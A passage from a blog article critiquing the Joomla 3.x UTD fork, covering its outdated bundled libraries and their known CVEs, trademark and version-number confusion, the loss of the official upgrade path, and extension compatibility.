harder to audit.&lt;/p&gt;
&lt;h3&gt;No way to report a vulnerability&lt;/h3&gt;
&lt;p&gt;The repository has no &lt;code&gt;SECURITY.md&lt;/code&gt;, no contributing guide and no published way to report a vulnerability privately. GitHub’s community health check scores it 50%. If someone finds a Joomla 3 core vulnerability tomorrow, there is no confidential route to the one person who can fix it, and the public issue tracker is not the place for one.&lt;/p&gt;
&lt;h3&gt;Three new vulnerabilities of UTD’s own&lt;/h3&gt;
&lt;p&gt;While researching this post, we identified three security issues in Joomla 3.x UTD that do not exist in the official Joomla 3.10.20 eLTS release it was forked from. They were introduced by UTD’s own changes. We will disclose them responsibly to JoomlaWorks shortly and publish the details once fixes are available. With no &lt;code&gt;SECURITY.md&lt;/code&gt; and no private reporting route, we will have to find our own way to reach the one person who can fix them.&lt;/p&gt;
&lt;h2&gt;Joomla 3.x UTD’s bundled libraries are as old as Joomla 3&lt;/h2&gt;
&lt;p&gt;UTD calls itself an up-to-date distribution, so we checked every third-party library it bundles against the &lt;a href=&quot;https://osv.dev/&quot;&gt;OSV vulnerability database&lt;/a&gt; on 12 October 2026. Not one of the 34 PHP libraries in &lt;code&gt;libraries/vendor&lt;/code&gt; has been updated: UTD’s &lt;code&gt;installed.json&lt;/code&gt; lists exactly the versions official Joomla 3.10.12 shipped in July 2023. The JavaScript libraries are the same ones too. Official Joomla 3 hand-patched some of them in place, and those patches are still there (jQuery 1.12.4, for example, keeps Joomla’s backported prototype pollution and &lt;code&gt;htmlPrefilter&lt;/code&gt; fixes), so we have left anything already patched out of this list.&lt;/p&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Library&lt;/th&gt;&lt;th&gt;Version UTD ships&lt;/th&gt;&lt;th&gt;Known issues not fixed in that version&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;TinyMCE (the “legacy” editor existing sites keep)&lt;/td&gt;&lt;td&gt;4.5.12, built July 2020&lt;/td&gt;&lt;td&gt;17 advisories published since that build, including three High-severity XSS from June 2026 (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47759&quot;&gt;CVE-2026-47759&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47761&quot;&gt;CVE-2026-47761&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47762&quot;&gt;CVE-2026-47762&lt;/a&gt;)&lt;/td&gt;&lt;td&gt;Only TinyMCE 5 to 8; the 2026 three in 7.9.3 and 8.5.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bootstrap (JavaScript used across the administrator)&lt;/td&gt;&lt;td&gt;2.3.2&lt;/td&gt;&lt;td&gt;Six XSS advisories, including &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2018-14040&quot;&gt;CVE-2018-14040&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-6485&quot;&gt;CVE-2024-6485&lt;/a&gt;&lt;/td&gt;&lt;td&gt;3.4.0 or 4.x, and no release at all for CVE-2024-6485&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MooTools&lt;/td&gt;&lt;td&gt;1.4.5&lt;/td&gt;&lt;td&gt;Prototype pollution (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2021-23432&quot;&gt;CVE-2021-23432&lt;/a&gt;) and a High-severity ReDoS (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2021-32821&quot;&gt;CVE-2021-32821&lt;/a&gt;)&lt;/td&gt;&lt;td&gt;No fixed version: the project is abandoned&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;symfony/yaml&lt;/td&gt;&lt;td&gt;2.8.52&lt;/td&gt;&lt;td&gt;Three parser denial-of-service advisories from May 2026 (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45304&quot;&gt;CVE-2026-45304&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45305&quot;&gt;CVE-2026-45305&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45133&quot;&gt;CVE-2026-45133&lt;/a&gt;), Low&lt;/td&gt;&lt;td&gt;5.4.52 and later only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;paragonie/sodium_compat&lt;/td&gt;&lt;td&gt;1.17.1&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69277&quot;&gt;CVE-2025-69277&lt;/a&gt;, Moderate&lt;/td&gt;&lt;td&gt;1.24.0&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;None of these is rated Critical, and whether each one can be reached depends on how Joomla uses the library. Most TinyMCE and Bootstrap issues need someone who can already edit content or load a crafted page. But these are the same libraries official Joomla 3 was shipping when it reached end of life, and UTD’s own release notes keep TinyMCE 4.5.12 as the editor for every existing site “until they switch in Global Configuration”. A distribution that says it ensures “code security” and has fixed “every PHP deprecation we could find” has not updated a single bundled PHP library, and with no &lt;code&gt;composer.json&lt;/code&gt; in the repository it has no straightforward way to.&lt;/p&gt;
&lt;h3&gt;A hand-patched fork of jQuery from 2016&lt;/h3&gt;
&lt;p&gt;The jQuery that UTD loads in the administrator, and on any site whose template or extensions ask for it, is not a jQuery release at all. The first line of &lt;code&gt;media/jui/js/jquery.js&lt;/code&gt; reads “jQuery JavaScript Library v1.12.4-joomla”. It is jQuery 1.12.4, released on 20 May 2016, with security fixes the Joomla project patched in by hand over the following years: one for a jQuery XSS issue (CMS issue 19464), a prototype pollution guard taken from a &lt;a href=&quot;https://github.com/jquery/jquery/pull/4333&quot;&gt;jQuery pull request&lt;/a&gt;, and a replacement &lt;code&gt;htmlPrefilter()&lt;/code&gt; for &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2020-11022&quot;&gt;CVE-2020-11022&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2020-11023&quot;&gt;CVE-2020-11023&lt;/a&gt;, adapted from a Drupal backport. Each change is marked “ADDED by Joomla” or “Modified by Joomla” in the file. jQuery itself is now on &lt;a href=&quot;https://www.npmjs.com/package/jquery&quot;&gt;4.0.0, released on 18 January 2026&lt;/a&gt;, and the jQuery Migrate 1.4.1 bundled with it dates from the same day in 2016.&lt;/p&gt;
&lt;p&gt;We compared the files with official Joomla 3.10.12, and &lt;code&gt;jquery.js&lt;/code&gt;, &lt;code&gt;jquery.min.js&lt;/code&gt;, &lt;code&gt;jquery-migrate.min.js&lt;/code&gt;, &lt;code&gt;bootstrap.min.js&lt;/code&gt; and &lt;code&gt;mootools-core.js&lt;/code&gt; are identical to the official ones. UTD is shipping a fork of jQuery inside its fork of Joomla, and has not touched it. No one upstream maintains those Joomla patches any more, because the Joomla project stopped when Joomla 3 reached end of life, and nothing in UTD’s repository rebuilds or tests them. The library still reports itself to the browser as &lt;code&gt;jQuery.fn.jquery = &quot;1.12.4&quot;&lt;/code&gt;, so scanners that read the version flag the site as running a vulnerable jQuery 1.12.4, and no one can tell which of the later jQuery fixes are in this copy without reading it line by line.&lt;/p&gt;
&lt;p&gt;UTD’s three new templates load no jQuery, Bootstrap or MooTools at all, which is a sensible choice. The administrator, Protostar, every older template and most Joomla 3 extensions still do.&lt;/p&gt;
&lt;p&gt;To be fair to UTD, its new TinyMCE 8 editor is Tiny’s current release, 8.9.2 from 23 September 2026. Even that bundles DOMPurify 3.4.11, which has three advisories fixed in 3.4.12 and later, although that is a choice Tiny made, not UTD.&lt;/p&gt;
&lt;h2&gt;Why Joomla 3.x UTD confuses people&lt;/h2&gt;
&lt;h3&gt;It puts the Joomla name and logo on a fork&lt;/h3&gt;
&lt;p&gt;The product name starts with “Joomla”. The footer says “This project does not use the Joomla! logo”, yet the fork’s own rewritten installer and administrator login page both render it: &lt;code&gt;installation/template/index.php&lt;/code&gt; line 60 and &lt;code&gt;administrator/templates/isis/login.php&lt;/code&gt; line 76 load &lt;code&gt;joomla-logo.svg&lt;/code&gt; inline, with a new code comment reading “The Joomla! logo inline”. Both pages were redesigned for this fork, so the logo is there by choice.&lt;/p&gt;
&lt;p&gt;UTD’s own logo borrows from Joomla’s too. Its mark, &lt;code&gt;assets/logo/j3xutd-mark.svg&lt;/code&gt;, is four rounded strokes arranged as a cross in exactly Joomla’s four brand colours, &lt;code&gt;#5091cd&lt;/code&gt; blue, &lt;code&gt;#7ac143&lt;/code&gt; green, &lt;code&gt;#f9a541&lt;/code&gt; orange and &lt;code&gt;#f44321&lt;/code&gt; red, set at the same diagonal as the four interlocking arms of the Joomla logo. It is not a copy, but next to “Joomla 3.x” in the product name, it is built to be read as part of the Joomla family.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3x-utd-logo-vs-joomla.CfE7yMKx_Z14x3QN.webp&quot; alt=&quot;Side by side: on the left the Joomla 3.x UTD mark, four separate rounded strokes in blue, green, orange and red forming a cross; on the right the Joomla logo mark, four interlocking arms in the same green, orange, red and blue&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;480&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;UTD&apos;s mark (left) uses the same four colours as the Joomla logo (right).&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The logo file has one more detail. It contains embedded C2PA content credentials, signed with Anthropic’s “Claude Content Signing” certificate, that record the action &lt;code&gt;com.anthropic.claude.provided&lt;/code&gt; and the description “Claude provided this file at the request of a user and may have created or modified the file contents.” So the logo of a project that calls itself “kept up to date by the community” came out of an AI assistant, like 33 of its commits.&lt;/p&gt;
&lt;p&gt;The Open Source Matters &lt;a href=&quot;https://tm.joomla.org/trademark-faq&quot;&gt;trademark FAQ&lt;/a&gt; is clear about forks. Asked whether you can take the Joomla codebase and rename it, it answers: “Yes, so long as you abide by the terms of the GNU GPL and if the new name and logo do not violate the trademarks.” The GPL covers the code, and the FAQ says the licence is “designed for software not for logos or names”. So the expectation is that a fork gets its own name. OSM also says it would “prefer that names of extensions be of the form [Extension name] for Joomla! Rather than Joomla! [Extension name]”, and “Joomla 3.x UTD” is the second form, on a whole CMS rather than an extension.&lt;/p&gt;
&lt;p&gt;Put the pieces side by side: “Joomla” as the first word of the product name, version numbers that continue Joomla’s own 3.x line, a &lt;code&gt;PRODUCT&lt;/code&gt; constant that still reports “Joomla!”, and the Joomla logo on the installer and login screens. Each one on its own could be explained away. Together they look like a fork presenting itself as Joomla, which is the confusion trade marks exist to prevent. The FAQ says as much: “The trademark also prevents confusion of other organizations or companies with Joomla! or Open Source Matters.”&lt;/p&gt;
&lt;p&gt;That footer line, “This project does not use the Joomla! logo”, reads differently after a fresh install of UTD 3.17.0. The installer and the login card both show the registered Joomla! logo, and the Help menu, System Information and Joomla Update screens all present the product as Joomla.&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3x-utd-installer-joomla-logo.Cx89WVrB_ZTCC7i.webp&quot; alt=&quot;The Joomla 3.x UTD web installer at its Main Configuration step, with the full Joomla! logo and registered mark in the sidebar and a Site Name field whose help text reads &amp;quot;Enter the name of your Joomla! site.&amp;quot;&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1010&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The installer was rewritten for the fork, and the logo and the wording stayed in.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3x-utd-help-menu.CIJMgMgR_Z13mIcr.webp&quot; alt=&quot;The Help menu in the Joomla 3.x UTD administrator, listing Joomla! Help, Official Support Forum, Official Language Forums, Documentation Wiki, Joomla! Extensions, Joomla! Translations, Joomla! Resources, Community Portal, Security Centre, Developer Resources, Stack Exchange and Joomla! Shop&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;788&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;Every entry sends the user to the Joomla project&apos;s own resources.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3x-utd-admin-login-joomla-logo.DSZea3i2_ZzlR0Q.webp&quot; alt=&quot;The Joomla 3.x UTD administrator login card, showing the full Joomla! logo with the registered mark above the heading &amp;quot;Log in to manage your site&amp;quot;&quot; loading=&quot;lazy&quot; width=&quot;992&quot; height=&quot;1048&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The redesigned login card puts the registered Joomla! logo at the top.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3x-utd-system-information.FzFE6aG2_Zz3noF.webp&quot; alt=&quot;The System Information page in the Joomla 3.x UTD administrator, where the Joomla! Version row reads &amp;quot;Joomla! 3.17.0 Stable [ ] October 10th, 2026&amp;quot; and the Joomla! Platform Version row reads &amp;quot;Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013&amp;quot;, with the Joomla logo icon in the admin menu bar&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;830&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The version row reports Joomla! 3.17.0 with empty codename brackets, a release Joomla never made.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3x-utd-joomla-update.Dhz9Q8li_1F1oEW.webp&quot; alt=&quot;The Joomla Update component in Joomla 3.x UTD, titled &amp;quot;Joomla Update&amp;quot;, with text about updates of the current Joomla release (3.x) and the message &amp;quot;You already have the latest Joomla version, 3.17.0.&amp;quot;&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;614&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The updater calls 3.17.0 the latest Joomla version; official Joomla 3 stopped at 3.10.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;The JoomlaWorks website footer says its use of the Joomla name and logo “is permitted under a limited license”, which is normal for a long-standing extension vendor. I can find no public statement that the licence covers naming a fork of the CMS itself “Joomla 3.x UTD”. If it does, JoomlaWorks should say so. If it does not, this is a question for Open Source Matters.&lt;/p&gt;
&lt;h3&gt;The version numbers look like official Joomla releases&lt;/h3&gt;
&lt;p&gt;Joomla never released a 3.11. The Joomla 3 line stopped at 3.10.x, and so did eLTS. UTD starts at 3.11 and is now at 3.17, so a site running it reports a Joomla version the Joomla project did not ship.&lt;/p&gt;
&lt;p&gt;It goes further than the label. In &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x/blob/main/libraries/src/Version.php&quot;&gt;&lt;code&gt;libraries/src/Version.php&lt;/code&gt;&lt;/a&gt; the &lt;code&gt;PRODUCT&lt;/code&gt; constant is still &lt;code&gt;&apos;Joomla!&apos;&lt;/code&gt; and the copyright line is still Open Source Matters, so extensions, update servers and security scanners see “Joomla! 3.17.0”. The 3.14 changelog even notes that the new language file versioning “would also ‘trip’ some scanners”.&lt;/p&gt;
&lt;p&gt;The numbering also breaks semantic versioning. Minor releases have made breaking changes: 3.12 removed the Beez3 and Hathor templates, and 3.16 removed four cache and session drivers and raised the minimum database versions. Under semver, changes like that need a major version. The site also describes “one rolling release”, so the version number does not tell you much about what code you are running.&lt;/p&gt;
&lt;h3&gt;Even its own developer cannot settle on a name&lt;/h3&gt;
&lt;p&gt;Is it Joomla 3.x UTD, J3xUTD or just Joomla 3.17? It depends where you look, and every one of these comes from JoomlaWorks itself:&lt;/p&gt;





































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Where&lt;/th&gt;&lt;th&gt;What it is called&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;The website headline, the README and the administrator status bar&lt;/td&gt;&lt;td&gt;“Joomla 3.x UTD”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The logo and the domain&lt;/td&gt;&lt;td&gt;“J3”, the four-colour cross and “UTD”, read as “J3xUTD” (the logo file is labelled “J3xUTD mark”), at j3xutd.joomlaworks.net&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The &lt;a href=&quot;https://www.joomlaworks.net/blog/item/316-joomla-3-x-development-continued-to-ensure-code-security-support-modern-php-versions&quot;&gt;April 2026 announcement&lt;/a&gt;&lt;/td&gt;&lt;td&gt;“an open distribution of Joomla 3.x (we call it Joomla 3.x UTD for now)”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The update feed’s own source&lt;/td&gt;&lt;td&gt;“Joomla 3.x (JoomlaWorks Security Distribution)”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The update Joomla Update offers you&lt;/td&gt;&lt;td&gt;“Joomla! 3.17” and “Joomla! 3.17 CMS”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The GitHub releases&lt;/td&gt;&lt;td&gt;“Joomla v3.11”, “Joomla v3.14”, “Joomla v3.15” and “Rolling Release (v)”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The GitHub repository&lt;/td&gt;&lt;td&gt;&lt;code&gt;joomla-3.x&lt;/code&gt;, “Joomla 3.x development continued to ensure code security and support modern PHP versions”&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Six months in, the name is still officially “for now”, the acronym is spelled out only once, at the top of the README, as “(up-to-date)”, and the two places a site owner is most likely to see it, the update screen and the release list, do not use the UTD name at all. They call it Joomla.&lt;/p&gt;
&lt;h3&gt;“Kept up to date by the community”&lt;/h3&gt;
&lt;p&gt;The website’s hero says the project is “kept up to date by the community”, and the footer calls it “an independent community project”. The repository shows something different:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All 158 commits come from one GitHub account, Fotis Evangelou’s (&lt;code&gt;fevangelou&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;33 of those commits have a &lt;code&gt;Co-Authored-By: Claude Opus 5.5&lt;/code&gt; trailer, all from October 2026.&lt;/li&gt;
&lt;li&gt;The only pull request from anyone else (#13) was closed without being merged.&lt;/li&gt;
&lt;li&gt;There are 14 issues from 5 people, and 8 discussions, 6 of them started by one user.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A small group reports bugs and Fotis writes the code, with an AI assistant. That is a legitimate way to run a project, but it is a one-person project and a single point of failure.&lt;/p&gt;
&lt;h3&gt;Its help system is the official Joomla one&lt;/h3&gt;
&lt;p&gt;UTD has no documentation site of its own. Its website has no documentation section, and the &lt;code&gt;docs/&lt;/code&gt; folder in its repository holds only the update feed and sample data. Everything it has added, from the new installer and the 100-command CLI to the MCP server, SQLite and the Little WAF, is documented in the &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x#readme&quot;&gt;README&lt;/a&gt; and one &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x/blob/main/AI-GUIDE.md&quot;&gt;AI-GUIDE.md&lt;/a&gt; file.&lt;/p&gt;
&lt;p&gt;Press a Help button in a UTD administrator and you go to the official Joomla project. The &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x/blob/main/CHANGELOG.md&quot;&gt;CHANGELOG&lt;/a&gt; explains that from 3.11 to 3.17 those buttons showed “not found”, because the Joomla help site only has screens up to 3.10, and that “Versions 3.11 and later now use the 3.10 help screens”. So a UTD user who needs help is sent to &lt;a href=&quot;https://help.joomla.org/proxy?keyref=Help310:Content_Article_Manager&amp;amp;lang=en&quot;&gt;Joomla’s own 3.10 help screens&lt;/a&gt;, run by the volunteers of the project that does not support UTD, to read documentation written for a version they are not running. The same goes for the Joomla forum, Joomla Stack Exchange and every Joomla 3 tutorial on the web: all of it describes official Joomla 3, and none of it knows what UTD changed.&lt;/p&gt;
&lt;h3&gt;Borrowed goodwill and selective statistics&lt;/h3&gt;
&lt;p&gt;Forking is fine. Forking well means taking the code and leaving the name behind, and open source has done it that way for decades. Joomla itself began in 2005 as a fork of Mambo, and the first thing the developers did was choose a new name. LibreOffice left OpenOffice’s name with Oracle, MariaDB left MySQL’s, and when WordPress 5.0 brought in the block editor, the people who wanted to keep WordPress 4.9 alive called their fork ClassicPress. Each project had to earn its own reputation instead of borrowing its parent’s. JoomlaWorks knew this in 2024, when its own plan for the fork started with a rebrand.&lt;/p&gt;
&lt;p&gt;Keeping the name lets UTD trade on twenty years of goodwill it did not build. The Joomla name means something to site owners because of the volunteers who wrote the code, triaged the security reports, translated it into dozens of languages, ran the events and answered forum questions for two decades. UTD arrives as “Joomla 3.x”, version 3.17, with the Joomla logo on its login page, and borrows that trust on day one. The trust belongs to the Joomla project and the people who earned it.&lt;/p&gt;
&lt;p&gt;The statistics are borrowed the same way, and chosen to suit. In May 2024 JoomlaWorks used W3Techs to argue that Joomla 4 and 5 had failed: “They account for around 0.3% of ALL Joomla sites according to W3Techs”, so “adoption for these versions is close to non-existent”. It set aside Joomla’s own figures, which it said “still show around 10% of sites use Joomla 4/5”. In October 2026 the v3.17 announcement goes back to W3Techs for the headline that Joomla 3 runs on “more than 50% of all installed Joomla sites”. It does not mention that the same source now puts Joomla 4, 5 and 6 at 37.9% of Joomla sites, with Joomla 5 alone at 20.5%. Quoting a source when it helps and leaving out the rest of the same page is marketing, not evidence.&lt;/p&gt;
&lt;h2&gt;A dead end on the way back to official Joomla&lt;/h2&gt;
&lt;p&gt;UTD rewires Joomla Update. In &lt;code&gt;com_joomlaupdate/models/default.php&lt;/code&gt;, the Default, Testing and “Next” channels all point at JoomlaWorks’ feed. The code describes “Next” as “Minor &amp;amp; Patch Release for Current version AND Next Major Release”, and it is the channel a Joomla 3.10 site uses for the one-click upgrade to Joomla 4. Switching to a custom URL does not help: Joomla’s official Joomla 4 upgrade feed (&lt;code&gt;update.joomla.org/core/j4/default.xml&lt;/code&gt;) targets sites on 3.10, and a UTD site reports 3.17. Once a site moves to UTD, the official upgrade route is gone. Even on official Joomla, &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;switching update channels can fling a site onto the wrong release&lt;/a&gt;, and UTD has rewired every one of them.&lt;/p&gt;
&lt;p&gt;The database choices make it worse. UTD’s headline 3.17 feature is “every major database”, including SQLite and SQL Server. Joomla 4, 5 and 6 support only MySQL, MariaDB and PostgreSQL, and Joomla 4 dropped SQL Server. A site built on UTD’s SQLite or SQL Server support has no official Joomla to move to. A SQLite site can only get out through UTD’s own &lt;code&gt;database:convert --to=mysqli&lt;/code&gt; command, run before any migration, on a driver the project itself labels experimental. A SQL Server site cannot even do that: the README says &lt;code&gt;database:convert&lt;/code&gt; and the other database commands “don’t support SQL Server”. A site that could have upgraded itself from 3.10 now depends on one maintainer’s tools to leave his fork.&lt;/p&gt;
&lt;h2&gt;Your Joomla 3 extensions are not guaranteed to keep working&lt;/h2&gt;
&lt;p&gt;Joomla 3 extensions may install and run on UTD today. The project does not promise they will keep doing so, and the published roadmap points the other way.&lt;/p&gt;
&lt;p&gt;The UTD &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x#readme&quot;&gt;README&lt;/a&gt; describes “a new fork on the way” that is “a stripped down version of Joomla 3.x with all non-essential extensions removed”, where “com_content (and anything related) is removed entirely” and replaced by K2. The &lt;a href=&quot;https://www.joomlaworks.net/blog/item/319-joomla-3-x-utd-v3-17-now-available-a-milestone-release-for-this-project&quot;&gt;v3.17 announcement&lt;/a&gt; calls that fork “a separate project” that is “moving along very actively”, and the README calls UTD’s CLI and MCP server “the seed” for it. So the same single maintainer is splitting his time between UTD and a successor that drops the component most extensions are built on. Most third-party Joomla 3 extensions depend on com_content: content plugins, article modules, custom fields, SEF routers and page builders. The compatibility promise in that same sentence is “true backwards compatibility with past releases (of the fork)”, meaning with UTD itself, not with the Joomla 3 extensions you run.&lt;/p&gt;
&lt;p&gt;The minor releases so far have already removed core templates and drivers. The README also asks extension developers to change their update XML so it does not stop at Joomla 3.10.x, which means support depends on third-party developers who have made no commitment to this fork. The Joomla Extensions Directory feed itself stops at 3.10.&lt;/p&gt;
&lt;p&gt;So far, no other developer has taken up that request. When we searched in October 2026, the only extensions declaring support for Joomla 3.x UTD were JoomlaWorks’ own: K2, whose &lt;a href=&quot;https://extensions.joomla.org/extension/k2/&quot;&gt;JED listing&lt;/a&gt; says it is “committed to be 100% compatible” with the distribution, and the paid Simple Image Gallery Pro, &lt;a href=&quot;https://www.joomlaworks.net/blog/item/317-simple-image-gallery-pro-v3-10-released-php-8-x-compatible-for-joomla-3-x-utd,-webp,-avif,-imagemagick&quot;&gt;released as “PHP 8.x compatible for Joomla 3.x UTD”&lt;/a&gt;. We could not find a single third-party developer announcing, testing or releasing an extension for it, and a GitHub code search for “Joomla 3.x UTD” outside JoomlaWorks’ own repositories found nothing but our own pages. An ecosystem of one vendor is not much of an ecosystem, and one of UTD’s most active users said as much in its own discussions, under the title “J3 development is good but we miss an ecosystem”.&lt;/p&gt;
&lt;h2&gt;Joomla developers would have to support a second, older framework&lt;/h2&gt;
&lt;p&gt;Building for UTD means building for Joomla 3, which is a different platform from Joomla 4, 5 and 6. Joomla 3 extensions use the legacy MVC classes (&lt;code&gt;JControllerLegacy&lt;/code&gt;, &lt;code&gt;JModelLegacy&lt;/code&gt;), Bootstrap 2, jQuery and MooTools, and no namespaced extension structure. Since Joomla 4, extensions use namespaced MVC, a dependency injection container with &lt;code&gt;services/provider.php&lt;/code&gt;, the Web Asset Manager and Bootstrap 5. Code written for one does not run on the other without real porting work.&lt;/p&gt;
&lt;p&gt;A developer who wants to support UTD users therefore keeps a second codebase for an old framework that only one maintainer is moving forward. If the roadmap’s K2-based fork ships, extensions that rely on com_content would need yet another target. The README’s request that they extend their Joomla 3 update XML asks them to take on that work for free.&lt;/p&gt;
&lt;h2&gt;What is Joomla 3.x UTD really for?&lt;/h2&gt;
&lt;p&gt;JoomlaWorks has said why in its own words, and its &lt;a href=&quot;https://joomla3security.com/vendors/joomlaworks/&quot;&gt;Joomla 3 record&lt;/a&gt; is on our Joomla 3 security hub. In a blog post on 30 May 2024, “&lt;a href=&quot;https://www.joomlaworks.net/blog/item/314-k2-will-not-be-made-available-for-joomla-4-5-change-of-course&quot;&gt;K2 will not be made available for Joomla 4/5 - change of course&lt;/a&gt;”, the company called Joomla 4 and 5 “failed CMS releases”, said “we don’t plan on giving up on K2 (or Joomla 3)”, and said its “goal is to pivot and work on a possible fork”. The first phase of that plan was rebranding, so that existing sites could move their content from com_content to K2.&lt;/p&gt;
&lt;p&gt;UTD and its planned leaner successor are that plan, except that UTD skipped the rebranding and kept the Joomla name. UTD keeps K2’s natural home alive, and the successor replaces Joomla’s own content component with K2. It also keeps a market alive for JoomlaWorks’ paid products: the blog sidebar advertises Simple Image Gallery Pro as “PHP 8.x compatible for Joomla 3.x UTD”, beside the “Commercial Templates” menu. And it pushes hard into AI, with a built-in MCP server and a CLI that the README says brings it “closer to becoming a truly agentic CMS”.&lt;/p&gt;
&lt;h3&gt;Who it is for: the sites its own developer runs&lt;/h3&gt;
&lt;p&gt;UTD’s developer owns a second business that shows who the fork is for. &lt;a href=&quot;https://nuevvo.com/&quot;&gt;Nuevvo&lt;/a&gt; is Fotis Evangelou’s Athens web development and managed hosting company, listed alongside JoomlaWorks and K2 on &lt;a href=&quot;https://fotis.co/&quot;&gt;his own site&lt;/a&gt; and his GitHub profile, and its homepage lists 42 active clients, most of them Greek news and magazine sites. We loaded each client’s homepage on 12 October 2026. Twelve still run K2 on Joomla, with K2’s own asset paths all over the page: &lt;a href=&quot;https://www.dnews.gr/&quot;&gt;dnews.gr&lt;/a&gt;, &lt;a href=&quot;https://www.reporter.gr/&quot;&gt;reporter.gr&lt;/a&gt;, &lt;a href=&quot;https://www.ilialive.gr/&quot;&gt;ilialive.gr&lt;/a&gt;, &lt;a href=&quot;https://www.news4health.gr/&quot;&gt;news4health.gr&lt;/a&gt;, &lt;a href=&quot;https://www.advertising.gr/&quot;&gt;advertising.gr&lt;/a&gt;, &lt;a href=&quot;https://www.allstarbasket.gr/&quot;&gt;allstarbasket.gr&lt;/a&gt;, &lt;a href=&quot;https://www.healthstat.gr/&quot;&gt;healthstat.gr&lt;/a&gt;, &lt;a href=&quot;https://www.ienergeia.gr/&quot;&gt;ienergeia.gr&lt;/a&gt;, &lt;a href=&quot;https://www.bikeit.gr/&quot;&gt;bikeit.gr&lt;/a&gt;, &lt;a href=&quot;https://byblacks.com/&quot;&gt;byblacks.com&lt;/a&gt;, &lt;a href=&quot;https://www.karditsalive.net/&quot;&gt;karditsalive.net&lt;/a&gt; and &lt;a href=&quot;https://www.gloman.gr/&quot;&gt;gloman.gr&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Those twelve are UTD’s natural first customers, sites with years of articles in K2 and no K2 for Joomla 4 or later, and keeping them on a maintained Joomla 3 is a reasonable thing for their developer to want. It is a narrower purpose than “secure, current &amp;amp; still yours” for every Joomla 3 site. The rest of the same client list points the other way: 20 of the 42 now run WordPress, and the Greek broadcaster SKAI’s site, skai.gr, runs Drupal 10.&lt;/p&gt;
&lt;p&gt;None of that is wrong in itself. Joomla is GPL software and anyone may fork it.&lt;/p&gt;
